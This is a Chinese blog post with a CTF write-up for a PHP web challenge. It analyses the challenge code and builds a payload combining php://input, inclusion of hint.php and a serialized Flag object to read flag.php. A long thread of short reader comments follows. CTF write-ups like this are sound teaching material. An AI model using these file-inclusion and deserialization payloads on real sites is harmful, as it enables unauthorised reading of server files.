AI智能摘要
面对这道CTF题目,你是否也被多层代码嵌套和文件包含漏洞绕得头晕?本文将带你直击核心漏洞,揭秘如何通过php://input流绕过参数验证,利用反序列化攻击链直接读取flag.php。只需三步构造payload,你就能掌握从源码分析到实战利用的完整链条,体验从“you are not admin”到斩获flag的思维跃迁。
— AI 生成的文章内容摘要
这道题和CTF论剑场的web21题非常相似,做题方式是一样的,可以在我的博客中搜索web21进行查看对比
首先打开页面是一串提示,同时我们看一下页面源代码

对图片中的源代码进行分析:
$user = $_GET["txt"]; //接收一个txt参数的值 $file = $_GET["file"]; //接收一个file参数的值 $pass = $_GET["password"]; //接收一个password参数的值 //如果$user有值,就读取$user中的值,并且$user的值等于“welcome to the bugkuctf”,就打印“hello admin!”,同时包含一个hint.php的文件 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; //否则打印出“you are not admin !”
根据上面的代码我们可以构造payload,同时利用文件包含漏洞读取hint.php的源代码

解码进行分析,代码如下:
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
这个和CTF论剑场的web21思路是一模一样的,没啥说的,可以去看看http://www.oniont.cn/index.php/archives/61.html
这里放个PHP反序列化在线工具:https://1024tools.com/unserialize
构造payload:
/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag。。。


韩国 1F
这题看着眼熟,web21做过类似的。
陕西省渭南市华阴市 2F
工具链接收藏了,谢谢分享
湖南省衡阳市 3F
感觉作者写得很用心
日本 4F
这种题做起来挺有意思的
上海市 5F
是不是还有别的解法?
香港 6F
新手表示压力山大
浙江省杭州市 7F
文章里的代码注释很详细
湖北省襄阳市 8F
直接拿payload去试了,成功
澳大利亚 9F
图片里的代码是题目原码吗?
贵州省贵阳市 10F
这种漏洞怎么修复?
辽宁省 11F
又是个套娃题,一层层包含
日本 12F
flag.php里面是flag吗?
韩国 13F
看起来复杂,其实就是几个知识点组合
日本 14F
完全没接触过CTF,从哪开始学?
江苏省南通市 15F
payload里的O:4啥意思?
中国 16F
工具网站广告太多了,体验不好
日本 17F
这种题型现在还有在出吗?
中国 18F
感觉比别的web题简单
河南省信阳市 19F
文章里的链接都点了一遍,有用
北京市 20F
完全不懂,但感觉大佬们好厉害
湖北省武汉市 21F
这种漏洞利用条件苛刻吗?
江苏省无锡市 22F
直接复制payload,一把过
日本 23F
图片加载不出来,影响阅读
江苏省徐州市 24F
flag.php的源码能不能直接看?
韩国 25F
这种题做多了就熟了
北京市 26F
完全靠工具,手动构造太麻烦
广东省广州市 27F
文章里的步骤很清晰,跟着做就行
日本 28F
新手表示一脸懵,专业名词太多
广东省广州市 29F
这种漏洞实战中危害大吗?
广东省 30F
直接给答案了,没讲为什么
韩国 31F
感觉比想象中简单
江苏省无锡市 32F
完全看不懂,但收藏了
山东省滨州市 33F
这种题适合入门吗?
澳大利亚 34F
payload里的参数顺序有要求吗?
北京市 35F
工具链接好评,省得自己找了
陕西省西安市 36F
完全靠猜,猜对了就有flag
日本 37F
这种漏洞怎么发现的?
重庆市 38F
直接拿payload去试,成功了
上海市南汇区 39F
图片里的代码能复制吗?
上海市 40F
这种题做起来有成就感
澳大利亚 41F
完全没思路,只能看大佬的解法
韩国 42F
这种漏洞利用起来复杂吗?
湖北省武汉市 43F
图片里的代码能直接看源码不?
澳大利亚 44F
payload构造还是有点绕,之前卡了半天。
澳大利亚 45F
感谢分享解法,省了不少时间。
广东省广州市 46F
有没有更简单的思路?感觉好复杂。
山东省烟台市 47F
flag.php直接读出来就行了吗?
广东省江门市开平市 48F
刚入坑CTF,这题完全看不懂啊😂
北京市 49F
又是个文件包含,老套路了。
江苏省无锡市 50F
工具链接好评,收藏了。
日本 B1
@ 厚朴 工具还行,就是广告多了点
浙江省绍兴市 51F
所以关键是php://input传参?
江西省南昌市 52F
这个payload怎么传进去的,直接用postman吗?
上海市 53F
之前用data协议也试过,效果差不多
蒙古 54F
web21那题是不是要绕过滤?
山东省青岛市 55F
完全没思路,只能看答案了😂
美国 56F
链接里的工具打不开了啊
台湾省新北市 57F
感觉代码审计部分可以再细点
湖北省宜昌市 58F
payload里的password参数为啥要序列化那个?
日本 59F
哦哦,原来是文件包含加反序列化
湖北省武汉市 60F
有没有其他绕过方式?
中国 61F
直接读hint.php能拿到flag不?
北京市 62F
用burp suite直接改包就行
巴基斯坦 63F
对,一样的套路,换汤不换药
中国 64F
payload构造其实就那几步,多练练
日本 65F
新手表示看天书,术语太多了
韩国 66F
图片里的代码是不是少了点东西?
日本 67F
所以hint.php里的Flag类才是关键?
印度尼西亚 68F
这种题做多了就条件反射了
湖北省黄石市大冶市 69F
php://input有时候会被禁用吧
浙江省台州市 70F
感觉文章里图片加载有点慢
北京市 71F
flag.php里面是啥内容?
中国 72F
看起来简单,自己动手就一堆坑
中国 73F
有现成的工具链接确实方便
吉林省 74F
直接复制payload就能用吗?
辽宁省抚顺市 75F
web安全入门题,适合练手
北京市 76F
反序列化那块还是有点懵
四川省攀枝花市 77F
是不是还得考虑魔术方法?
中国 78F
图片里的代码能再清晰点吗?
韩国 79F
这种题比赛里经常出
江苏省南京市 80F
收藏了,以后遇到类似的来查
北京市 81F
完全看不懂,先mark一下
日本 82F
payload构造得挺巧妙
重庆市 83F
感觉比web21简单点?
日本 84F
大佬们都是怎么想到这些思路的?
北京市 85F
文件包含漏洞利用姿势好多
北京市 86F
密码参数传序列化字符串是干啥的?
日本 87F
所以最后flag是啥格式的?
天津市 88F
文章里的链接好像失效了
北京市 89F
多看看PHP手册就好理解了
泰国 90F
这种基础题现在还有比赛出吗?
陕西省西安市 91F
工具网站好像要梯子?
韩国 92F
payload的构造过程能再详细点不?
四川省绵阳市 93F
感觉文章排版可以优化下
中国 94F
直接给答案了,没讲思考过程
广东省广州市 95F
适合我这种小白照着做
上海市 96F
又学到一招,虽然不太懂原理
印度 97F
图片里的代码截图有点模糊
湖南省衡阳市 98F
反序列化攻击实际中常见吗?
广东省东莞市 99F
flag.php被包含后直接显示源码?
日本 100F
这种漏洞实战中怎么利用?
韩国 101F
看起来简单,细节挺多的
湖北省咸宁市 102F
web21的链接打不开啊
韩国 103F
完全靠猜,蒙对了就有flag